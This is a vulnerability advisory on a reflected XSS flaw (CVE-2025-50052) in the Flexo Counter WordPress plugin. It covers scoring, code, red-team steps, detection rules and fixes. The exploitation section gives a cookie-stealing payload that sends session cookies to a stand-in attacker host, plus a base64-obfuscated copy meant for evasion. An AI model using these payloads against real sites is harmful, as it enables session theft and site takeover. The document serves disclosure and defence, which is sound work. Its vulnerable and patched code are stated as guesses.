CVE-2025-50052

Executive Summary

CVE-2025-50052 is a reflected Cross-Site Scripting (XSS) vulnerability in the Flexo Counter WordPress plugin (slug: flexo-countdown) developed by Flexostudio. The vulnerability exists in versions up to and including 1.0001 due to improper neutralization of user-supplied input during web page generation. An attacker can craft a malicious URL that, when visited by an authenticated administrator or any user with sufficient privileges, executes arbitrary JavaScript in the context of the victim's browser session. This can lead to session hijacking, defacement, or redirection to malicious sites. The vulnerability is classified as Reflected XSS (CWE-79) with a CVSS score of 7.1 (High). No public exploit code or patch is currently available.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Since the plugin is not an NPM, PyPI, Go, or Ruby package, supply chain risks are limited to the plugin's update mechanism. Users should monitor the plugin's page for official patches and verify the integrity of downloaded updates.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
• Base Score: 7.1 (High)
• Attack Vector: Network (AV:N) – The vulnerability is exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed to trigger the XSS.
• User Interaction: Required (UI:R) – The victim must click a crafted link.
• Scope: Changed (S:C) – The XSS can impact resources beyond the vulnerable component.
• Confidentiality Impact: Low (C:L) – Limited data exposure.
• Integrity Impact: Low (I:L) – Limited modification of content.
• Availability Impact: Low (A:L) – Limited disruption.

Threat Level: High. Reflected XSS in a WordPress plugin can be chained with social engineering to compromise admin sessions, leading to full site takeover.

Deep Dive & Mechanics

The vulnerability resides in the flexo-countdown plugin's handling of URL parameters. The plugin fails to sanitize or escape user-supplied input before reflecting it in the HTML response. Specifically, when a parameter (e.g., countdown_id or message) is passed via GET request, the plugin directly embeds the value into the page without proper encoding. An attacker can inject JavaScript payloads such as:

<script>alert('XSS')</script>

or

<img src=x onerror=alert(1)>

The reflected XSS is triggered when the victim visits a crafted URL like:

https://victim-site.com/?countdown_id=<script>alert('XSS')</script>

The plugin's code likely uses echo $_GET['countdown_id']; or similar without applying esc_html() or wp_kses_post().

Vulnerable vs. Patched Code

Vulnerable Code (flexo-countdown <= 1.0001):

<?php
// In a template or shortcode handler
$countdown_id = $_GET['countdown_id'];
echo "<div class='flexo-countdown' data-id='$countdown_id'>";
?>

Patched Code (Hypothetical):

<?php
$countdown_id = isset($_GET['countdown_id']) ? esc_html($_GET['countdown_id']) : '';
echo "<div class='flexo-countdown' data-id='" . esc_attr($countdown_id) . "'>";
?>

The patch uses esc_html() for HTML context and esc_attr() for attribute context to neutralize XSS.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress site with Flexo Counter plugin version <= 1.0001.
• A victim user (e.g., admin) who will click the crafted link.

Exploitation Steps:

1. Identify a vulnerable parameter (e.g., countdown_id).
2. Craft a malicious URL:

   https://victim-site.com/?countdown_id=<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
   

3. Encode the payload if needed (e.g., URL encoding).
4. Send the link to the victim via email, social media, or other channels.
5. When the victim clicks, the script executes, sending their session cookie to the attacker.

Example Payload (Base64 encoded for evasion):

<script>eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHBzOi8vYXR0YWNrZXIuY29tL3N0ZWFsLnBocD9jb29raWU9Jytkb2N1bWVudC5jb29raWU='))</script>

Blue Team

Detection & Prevention:

• Web Application Firewall (WAF): Block requests containing <script> tags in query parameters.
• Input Validation: Ensure all user inputs are sanitized using WordPress functions like esc_html() and esc_attr().
• Content Security Policy (CSP): Implement a strict CSP to block inline scripts.
• User Education: Train users not to click suspicious links.

Lab Setup:

1. Install WordPress and the Flexo Counter plugin (version 1.0001).
2. Create a test page with the vulnerable shortcode.
3. Use a browser with developer tools to observe the XSS trigger.

Indicators of Compromise (IOCs)

• URL Patterns: Requests containing ?countdown_id=<script> or similar XSS payloads.
• Log Entries: HTTP 200 responses with injected JavaScript in the countdown_id parameter.
• Network Traffic: Outbound connections to attacker-controlled domains from the victim's browser.
• File Changes: Unauthorized modifications to WordPress files (e.g., wp-config.php, plugin files).

Example IOC (Suricata rule):

alert http any any -> any any (msg:"CVE-2025-50052 Flexo Counter Reflected XSS"; flow:to_server,established; content:"countdown_id"; http_uri; nocase; content:"<script"; http_uri; nocase; sid:1000001; rev:1;)

Detection Engineering

YARA Rule

rule CVE_2025_50052_Flexo_Counter_XSS {
    meta:
        description = "Detects reflected XSS attempts against Flexo Counter plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-50052"
    strings:
        $xss_payload = /countdown_id=.*<script/i
        $xss_payload2 = /countdown_id=.*onerror/i
        $xss_payload3 = /countdown_id=.*onload/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-50052 Flexo Counter Reflected XSS Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects reflected XSS attempts against Flexo Counter WordPress plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains: 'countdown_id='
        c-uri|contains|any:
            - '<script'
            - 'onerror='
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate use of similar parameters (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-50052 Flexo Counter Reflected XSS Attempt"; flow:to_server,established; content:"countdown_id"; http_uri; nocase; pcre:"/countdown_id=.*<script/i"; sid:1000002; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Implement a WAF rule to block XSS payloads in query parameters.
3. Apply virtual patching via a security plugin (e.g., Wordfence, Sucuri).

Long-Term Fix:

• The vendor must release a patched version that sanitizes all user inputs using esc_html() and esc_attr().
• Users should update to the latest version once available.

Workaround:

• Add the following code to the theme's functions.php to sanitize the vulnerable parameter:

add_action('init', function() {
    if (isset($_GET['countdown_id'])) {
        $_GET['countdown_id'] = sanitize_text_field($_GET['countdown_id']);
    }
});

Monitoring:

• Review web server logs for suspicious countdown_id parameters.
• Monitor for unauthorized admin actions or plugin modifications.

Valters IT